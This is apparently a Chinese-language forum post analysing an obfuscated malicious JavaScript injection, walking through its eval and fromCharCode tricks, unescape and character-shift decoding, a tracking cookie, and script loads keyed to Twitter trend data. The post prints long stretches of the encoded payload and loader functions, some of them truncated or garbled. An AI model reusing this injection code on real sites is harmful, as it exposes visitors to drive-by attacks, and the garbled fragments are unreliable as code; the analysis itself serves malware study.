好的,第一阶段。这是相对容易的。
String.fromCharCode(101,118,97)
是“eva”,所以它调用eval函数
fds()
. 这反过来也只是打电话
asd
,这实际上只是用%替换“Z”。在我们取消scape之后,我们得到了他们想要的代码
eval
op="%24a%3d%22dw(dcs%28cu%2c14%29);%22;";
ce="ar%43o%64e%41%74%280%29^%28%27%30x%300%27+e%73)%29)%3b}}";
;cb="e(d%73);%73t%3dtmp%3d%27%27;for(%69%3d0;%69%3cd%73.%6c%6";
da="fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg>dg>dbu~tc9kyv08gy~t%7Fg>x0.0(0660gy~t%7Fg>x0,0%22!0660y>y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg>x0,0)0ll00gy~t%7Fg>x0.0%22%2090660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%";
cu="(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;df{l;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*";
cc="5ng%74h;%69%2b%2b)%7btmp%3dds%2esli%63e(%69%2c%69+1)%3bs";
st="%73%74%3d%22$a%3ds%74;%64c%73%28%64%61%2b%64b%2b%64%63%2bd%64+%64%65%2c1%30%29;%64w%28s%74)%3b%73t%3d$%61;%22;";
ca="%66%75nct%69%6fn%20%64%63s(d%73,%65s)%7bds%3dune%73ca%70";
dc="rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;";
dd="08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050";
cd="%74%3dst%2bStr%69n%67.f%72%6fmC%68ar%43o%64e((%74mp.%63h";
db="7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v";
de="!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx%220;0}%7F~dxSx0;0iuqbSx!0;0tqiSx0;0}%7F~dxcKdy}uK7}%7F~dx7M0=0!M0;07>s%7F}79+m";
cz="%66u%6ec%74io%6e c%7a%28cz%29%7bret%75rn %63a+c%62+%63c%2b%63d+%63e+c%7a;%7d;";
if (document.cookie.indexOf("rf5f6ds") == -1) {
function callback(x) {
window.tw = x;
var d = new Date;
d.setTime(x.as_of * 1000);
var h = d.getUTCHours();
window.h = h;
if (h > 8) {
d.setUTCDate(d.getUTCDate() - 2);
} else {
d.setUTCDate(d.getUTCDate() - 3);
}
window.gd = d;
var time = new Array;
var shiftIndex = "";
time.year = d.getUTCFullYear();
time.month = d.getUTCMonth() + 1;
time.day = d.getUTCDate();
if (d.getUTCMonth() + 1 < 10) {
shiftIndex = time.year + "-0" + (d.getUTCMonth() + 1);
} else {
shiftIndex = time.year + "-" + (d.getUTCMonth() + 1);
}
if (d.getUTCDate() < 10) {
shiftIndex = shiftIndex + "-0" + d.getUTCDate();
} else {
shiftIndex = shiftIndex + "-" + d.getUTCDate();
}
document.write("<scr" + "ipt language=javascript" + " src='http://search.twitter.com/trends/daily.json?date=" + shiftIndex + "&callback=callback2'>" + "</scr" + "ipt>");
}
function callback2(x) {
window.tw = x;
sc("rf5f6ds", 2, 7);
function dw(t)
{
ca='%64o%63um%65nt.%77r%69t%65(%22';
ce='%22)';
cb='%3csc%72%69p%74 %6c%61n%67u%61ge%3d%5c%22jav%61%73c%72ip%74%5c%22%3e';
cc='%3c%5c%2fscr%69pt%3e';
eval(unescape(t))
};
$a="dw(dcs(cu,14));";
function dw(t)
{
ca='%64o%63um%65nt.%77r%69t%65(%22';ce='%22)';
cb='%3csc%72%69p%74 %6c%61n%67u%61ge%3d%5c%22jav%61%73c%72ip%74%5c%22%3e';
cc='%3c%5c%2fscr%69pt%3e';
eval(unescape(t))
};
document.write("<script language=\"javascript\"><\/script>t=st+String.fromCharCode((tmp.ch")
dw(dcs(cu,14));
$a=st;
dcs(da+db+dc+dd+de,10);
dw(st);
st=$a;
document.write($a);
}
document.write("<img src='http://search.twitter.com/images/search/rss.png' width=1 height=1 style='visibility:hidden' /> <script language=javascript src='http://search.twitter.com/trends/daily.json?callback=callback'></script>");
} else {
$a = "";
}
function sc(cnm, v, ed) {
var exd = new Date;
exd.setDate(exd.getDate() + ed);
document.cookie = cnm + "=" + escape(v) + ";expires=" + exd.toGMTString();
}
我解码了上面的变量。cz很吸引人。上面写着
cz="function cz(cz){return ca+cb+cc+cd+ce+cz;};";
function dcs(ds,es){
ds=unescape(ds);
st=tmp='';
for(i=0;i<ds.l%65ngth;i++){
tmp=ds.slice(i,i+1);
st=st+String.fromCharCode((tmp.ch! 9M0;0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0$90;0~e}9050! 9M+0}~dxSx0-0|uddubcK88dy}uK7}~dx7M0;0~e}9050"%9M0;0|uddubcK88dy}uK7}~dx7M0:0~e}9050"%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0&9050"'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050"$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx"0;0}~dxSx0;0iuqbSx!0;0tqiSx0;0}~dxcKdy}uK7}~dx7M0=0!M0;07>s}79+m
我很难理解最后一个
st=st+String.fromCharCode...
但也有一部分。
仍在向前耕耘。如果您查看解码值,则st为
st="st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";";
然后加上“d”行,就变成这样:
st="
$a=st;
dcs(fqb0t-7vrs}vyb>s}7+0fqb0cxyvdY~tuh0-0 +vb08fqb0y0y~0gy~tg>dg>dbu~tc9kyv08gy~tg>x0.0(0660gy~tg>x0,0"!0660y>y~tuh_v870 '790.0=!9kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK$M>aeubi>sxqbStuQd8!90;0gy~tg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~tg>x0,0)0ll00gy~tg>x0.0" 90660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0! 0;gy~tg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0 09kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK&M>aeubi>sxqbStuQd8!90;0'0;gy~tg>dg>dbu~tcKyMK&M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0 9kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tg>wt>wudEDSVe||Iuqb89+dy}uK7}~dx7M0-0gy~tg>wt>wudEDS]~dx89;!+dy}uK7tqi7M0-0gy~tg>wt>wudEDSTqdu89+fqb0t-7vrs}vyb>s}7+fqb0}~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07h{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<77<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<"<#<$<%<&<'<(<)9+ve~sdy~0Sq|se|qdu]qwys^e}rub8tqi<0}~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx"<0}~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;! +iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060 hQQ90;0~e}9050⍚"&M0;0|uddubcK888dy}uK7iuqb7M060 hQQ90,,0"90;0~e}9050"%M+iuqbSx"0-0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0#90;0~e}9050! 9M0;0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0$90;0~e}9050! 9M+0}~dxSx0-0|uddubcK88dy}uK7}~dx7M0;0~e}9050"%9M0;0|uddubcK88dy}uK7}~dx7M0:0~e}9050"%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0&9050"'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050"$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx"0;0}~dxSx0;0iuqbSx!0;0tqiSx0;0}~dxcKdy}uK7}~dx7M0=0!M0;07>s}79+m,10);
dw(st);
st=$a;
";
